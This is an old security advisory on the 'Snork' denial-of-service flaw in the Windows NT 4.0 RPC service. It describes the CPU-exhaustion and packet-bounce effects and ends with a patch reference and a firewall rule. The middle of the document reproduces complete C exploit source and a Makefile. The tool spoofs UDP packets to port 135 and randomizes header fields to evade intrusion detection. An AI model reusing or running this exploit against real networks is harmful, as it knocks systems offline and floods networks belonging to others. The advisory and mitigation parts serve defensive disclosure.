COMMAND
"snork" (Windows NT RPC Service)
SYSTEMS AFFECTED
Windows NT 4.0
PROBLEM
Following is mostly based on ISS Security Advisory. The ISS
X-Force has been researching a denial of service attack against
the Windows NT RPC service. This attack allows an attacker with
minimal resources to cause a remote NT system to consume 100% CPU
Usage for an indefinite period of time. It also allows a remote
attacker to utilize a very large amount of bandwidth on a remote
NT network by inducing vulnerable systems to engage in a
continuous bounce of packets between all combinations of systems.
This attack is similar to those found in the "Smurf" and "Fraggle"
exploits, and is known as the "Snork" attack. This vulnerability
exists on Windows NT 4.0 Workstation and Server. All systems
with service packs up to and including SP4 RC 1.99 are vulnerable,
including any hotfixes released prior to 9/10/98.
In X-Force lab tests, a single UDP packet is able to raise the CPU
utilization on a Windows NT system to 100% for a period of 5-120
seconds. A low bandwidth continuous attack of this sort is able
to keep the CPU utilization at 100% for an unlimited period of
time. This vulnerability can also be exploited as a network
bandwidth consuming attack by creating UDP packets that result in
a constant packet bounce between all combinations of Windows NT
systems on a network. This attack can quickly consume available
bandwidth on even a small network. The consumption rate between
any two idle Windows NT systems on an idle network is
approximately 224/RTT (round-trip time), which translates on a
10Mbps Ethernet to approximately 3.4Mbps of traffic. Increasing
the number of systems involved in the packet bounce exponentially
increases this traffic, and as collisions occur and packet loss
begins the network bandwidth used by this attack very quickly
approaches 100%.
Snork exploit code follows. It needs libnet. If you don't have it
go to:
http://www.infonexus.com/~daemon9/Libnet
Snork/Makefile:
# route|daemon9 <route@infonexus.com>
CFLAGS = -O3 -funroll-loops -fomit-frame-pointer -pipe -m486 -Wall
OBJECTS = snork.o
LIBS = -lnet
.c.o:
$(CC) $(CFLAGS) $(DEFINES) -c $< -o $@
all: snork
snork: $(OBJECTS)
$(CC) snork.o $(LIBS) -o ./snork
dist: clean
@(cd ..; rm snork.tgz; tar cvzf snork.tgz Snork/)
clean:
rm -f core snork *.o
Snork/snork.c:
/*
* $Id: snork.c,v 1.1 1998/09/29 05:20:15 root Exp root $
*
* snork.c - Windows NT UDP killer
*
* Written as per the ISS X force advisory.
*
* Building:
*
* This compiles under: OpenBSD, FreeBSD, Linux, Solaris and possibly others.
* (Solaris port remains broken until libnet gets fixed for solaris checksums).
* You need libnet to compile this exploit. It's all very simple:
* 1) get the library from http://www.infonexus.com/~daemon9/Libnet
* 2) build the library.
* 3) install the library.
* 4) compile this exploit.
*
* Usage:
*
* ./snork target
* Spoofs packets from target to target.
*
* ./snork source target
* Spoofs packets from source to target.
*
* route|daemon9 <route@infonexus.com>
*
*/
#include <libnet.h>
#include <string.h>
#define SENDAMT 10
#define SPORT 135
#define DPORT 135
int
main(int argc, char **argv)
{
int sock, c, i, payload_s;
u_char *buf, *payload;
u_long ip_src, ip_dst;
if (argc > 3 || argc < 2)
{
fprintf(stderr, "No retard.\nUsage:\tsnork [source] target\n");
exit(EXIT_FAILURE);
}
if ((ip_src = name_resolve(argv[1], 1)) == -1)
{
fprintf(stderr, "What the hell kind of IP address is: `%s`?\n", argv[1]);
exit(EXIT_FAILURE);
}
if (argc == 3)
{
if ((ip_dst = name_resolve(argv[2], 1)) == -1)
{
fprintf(stderr, "What the hell kind of IP address is: `%s`?\n", argv[1]);
exit(EXIT_FAILURE);
}
}
else
{
ip_dst = ip_src;
}
printf("Hi. Read Phrack. Thanks.\n");
if ((payload = getenv("HOST")) == NULL)
{
payload = "i am lame dos kid but i read phrack so it's ok";
}
payload_s = strlen(payload);
buf = malloc(UDP_H + IP_H + payload_s);
if (!buf)
{
perror("No memory for packet header");
exit(1);
}
/*
* Don't use raw sockets. They suck.
*/
sock = open_raw_sock(IPPROTO_RAW);
if (sock == -1)
{
perror("No socket");
exit(1);
}
/*
* We will randomize the ip_id for good measure. I've seen crappy NIDS
* code that looks for exploits like this by fixing in on static header
* fields.
*/
seed_prand();
for (i = 0; i < SENDAMT; i++)
{
/*
* Build the IP header.
*/
build_ip(UDP_H + payload_s, /* total payload size */
get_prand(PRu16), /* IP ID */
0, /* fragmentation bits */
64, /* IP TTL */
IPPROTO_UDP, /* transport protocol */
ip_src, /* source IP */
ip_dst, /* destination IP */
NULL, /* payload pointer */
0, /* payload size */
buf); /* packet header memory */
/*
* Build the UDP header.
*/
build_udp(SPORT, DPORT, payload, payload_s, buf + IP_H);
/*
* UDP checksum (IP check is done by mr kernel, as always).
*/
do_checksum(buf, IPPROTO_UDP, UDP_H + payload_s);
/*
* Write the packet to the network.
*/
c = write_ip(sock, buf, UDP_H + IP_H + payload_s);
if (c < UDP_H + IP_H + payload_s)
{
fprintf(stderr, "write_ip: only wrote %d bytes\n", c);
}
fprintf(stderr, "."); /* no buffering, please */
}
printf("\nsnork snork\n");
free(buf);
exit (EXIT_SUCCESS);
}
SOLUTION
Microsoft has made a patch available for the "Snork" attack.
Patch information is available at:
http://www.microsoft.com/security/bulletins/ms98-014.htm
Network administrators can protect internal systems from external
attack by adding a rule to a filtering router or firewall of the
type:
Deny all incoming UDP packets with a destination port of 135
and a source port of 7,19, or 135.
Many firewalls or packet filters may already have more restrictive
rulesets which already encompass this filtering rule, in which
case the network is already protected from an external "snork"
attack. This would include filtering all incoming traffic to UDP
port 135. There are NT applications which rely upon legitimate
traffic passing between UDP ports 135 on a source and destination
machine. If this is the case on your network, it is strongly
recommended you apply the Microsoft hot-fix to any systems that
allow external access.